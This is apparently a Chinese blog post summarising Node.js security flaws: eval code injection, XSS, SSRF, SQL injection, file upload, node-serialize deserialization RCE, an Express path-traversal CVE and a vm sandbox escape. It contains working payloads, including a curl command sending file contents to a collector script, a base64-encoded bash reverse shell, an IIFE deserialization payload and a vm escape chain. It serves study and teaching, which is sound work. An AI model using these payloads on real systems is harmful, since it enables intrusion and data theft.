对于最近学习node.js的一些总结~
在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:
Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。
X-Frame-Options //提供对于点击劫持的保护。
X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。
Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。
目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下
var express = require('express'); var helmet = require('helmet') var app = express(); app.use(helmet()) app.get('/', function (req, res){ res.end("hello ghtwf01") }) var server = app.listen(8888,function (){ var host = server.address().address var port = server = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
示例代码如下
var express = require('express'); var app = express(); app.get('/eval', function (req, res){ res.send(eval(req.query.code)); }) var server = app.listen(8888,function (){ var host = server.address().address var port = server = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用
1.执行命令(打开微信)
code=require('child_process').exec('open /Applications/WeChat.app');
2.读取任意文件
因为没有回显所以需要数据外带
我们在自己的vps上写一个获取数据的文件test.php
<?php $content = $_POST['content']; file_put_contents("content.txt", $content); ?>
然后执行命令
code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');
成功在自己vps上生成文件读取到文件内容
3.反弹shell
code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx
是bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
的base64编码
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('')
来执行命令
除了eval函数能动态执行代码,setInteval、setTimeout、 new Function等函数也有相同的功能
Node.js不像java有很强大的过滤器,过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection,来开起浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。由于本身没有xss防护机制 ,若是未经过滤直接显示外部的输入则导致XSS。
如下:
var express = require('express'); var app = express(); app.get('/xss', function (req, res){ res.end(req.query.content); }) var server = app.listen(8888,function (){ var host = server.address().address var port = server = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
程序直接将用户的输入显示到前端页面:
ssrf漏洞在存在于大多数的编程语言中,node.js也不例外,只要web系统接收了外界输入的URL,并且通过服务端程序直接调用就会造成相应的漏洞
代码如下
var express = require('express'); var app = express(); var needle = require('needle'); app.get('/ssrf', function (req, res){ var url = req.query['url']; needle.get(url); res.end('new request:'+url); }) var server = app.listen(8888,function (){ var host = server.address().address var port = server = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
示例代码
var express = require('express'); var app = express(); var mysql = require('mysql'); var connection = mysql.createConnection({ host : 'localhost', user : 'root', password : 'root', database : 'users', port : '8889' }); connection.connect(); app.get('/sqli', function (req, res){ var id = req.query.id; var sql = "select * from user where id="+id; connection.query(sql,function(error, result){ if (error) { res.send(error); } res.send(result[0]); }); connection.end(); }) var server = app.listen(8888,function (){ var host = server.address().address var port = server = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
成功实现注入
形成的原因同样是因为未对上传文件作限制或限制不当
file.html
<html> <head> <title>文件上传表单</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <h3>文件上传:</h3> 选择一个文件上传: <br /> <form action="/upload" method="post" enctype="multipart/form-data"> <input type="file" name="image" size="50" /> <br /> <input type="submit" value="上传文件" /> </form> </body> </html>
test.js
var express = require('express'); var app = express(); var fs = require("fs"); var bodyParser = require('body-parser'); var multer = require('multer'); app.use('/public', express.static('public')); app.use(bodyParser.urlencoded({ extended: false })); app.use(multer({ dest: '/tmp/'}).array('image')); app.get('/file.html', function (req, res) { res.sendFile( __dirname + "/" + "file.html" ); }) app.post('/upload', function (req, res) { console.log(req.files[0]); // 上传的文件信息 var des_file = __dirname + "/" + req.files[0].originalname; fs.readFile( req.files[0].path, function (err, data) { fs.writeFile(des_file, data, function (err) { if( err ){ console.log( err ); }else{ response = { message:'File uploaded successfully', filename:req.files[0].originalname }; } console.log( response ); res.end( JSON.stringify( response ) ); }); }); }) var server = app.listen(8888, function () { var host = server.address().address var port = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) })
任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,如果使用了存在漏洞的第三方模块,那么就会有严重的安全问题。
这里首先需要了解一个知识叫IIFE(立即调用函数表达式),是一个在定义时就会立即执行的 JavaScript 函数
IIFE一般写成下面两种形式:
(function(){ /* code */ }());
(function(){ /* code */ })();
例如
和
现在开始分析node-serialize的漏洞点
位于node_modules\node-serialize\lib\serialize.js第75行中
可以看到传入的值在eval函数里面且被一对括号包裹,所以如果我们构造function(){}()
函数,在反序列化时就会被当作IIFE立即调用执行
poc:
serialize = require('node-serialize'); var test = { rce : function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}, } console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
得到
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个()
,结果如下:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}
这个时候我们将其进行反序列化,代码如下
var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}'; serialize.unserialize(payload);
成功执行命令
漏洞影响版本:
vulhub一键搭建环境
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
burpsuite抓包
现在开始分析漏洞点,先下载安装源码
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf 4.15.5.tar.gz && cd express-4.15.5 && npm install
位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)
SendStream.prototype.pipe = function pipe (res) { // root path var root = this._root // references this.res = res // decode the path var path = decode(this.path) if (path === -1) { this.error(400) return res } // null byte(s) if (~path.indexOf('\0')) { this.error(400) return res } var parts if (root !== null) { // malicious path if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) { debug('malicious path "%s"', path) this.error(403) return res } // join / normalize from optional root dir path = normalize(join(root, path)) root = normalize(root + sep)
关键位置是
if (root !== null) { // malicious path if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) { debug('malicious path "%s"', path) this.error(403) return res } // join / normalize from optional root dir path = normalize(join(root, path)) root = normalize(root + sep)
这里有两个需要认识的函数
1.path.normalize()函数规范化给定的 path
:http://nodejs.cn/api/path/path_normalize_path.html
2.path.join()函数将多个参数组合成一个path
:https://www.jb51.net/article/58298.htm
Send模块通过normalize('.' + sep + path)
标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入join(root, path)
函数中,跳转到我们想要跳转到的目录中
接下来的分析可参考:https://paper.seebug.org/439/
vm可以理解为在一个虚拟环境中运行代码然后将结果取出来,这样可以防止恶意代码在主程序上执行
下面举一个例子,代码如下
const vm = require('vm'); const x = 1; const context = { x: 2 }; vm.createContext(context); // Contextify the object. const code = 'x += 40; var y = 17;'; // `x` and `y` are global variables in the context. // Initially, x has the value 2 because that is the value of context.x. vm.runInContext(code, context); console.log(context.x); // 42 console.log(context.y); // 17 console.log(x); // 1; y is not defined.
总结一下就是先将x=2放入沙盒并创建一个沙盒,然后将代码(x += 40; var y = 17;)放入沙盒中执行,因为最开始创建沙盒的时候定义了x=2,所以在此基础上在沙盒中进行运算得到x=42,y=17。因为const x=1是在沙盒外定义的,所以和沙盒无关,值仍然为1。
虽然拥有沙盒来帮助执行代码,但是vm还是轻松逃逸出去,因为this.__proto__
指向的是主环境的Object.prototype
const vm = require('vm'); const context = { x:2 }; const script = new vm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`); vm.createContext(context); var result = script.runInContext(context); console.log(result);
this.constructor.constructor
通过继承链最终拿到主环境的Function
this.constructor.constructor('return process')()
构造了一个函数并执行,拿到主环境的process
变量process.mainModule.require
导入child_process
模块,命令执行https://www.jb51.net/article/127896.htm
https://www.freebuf.com/articles/web/152891.html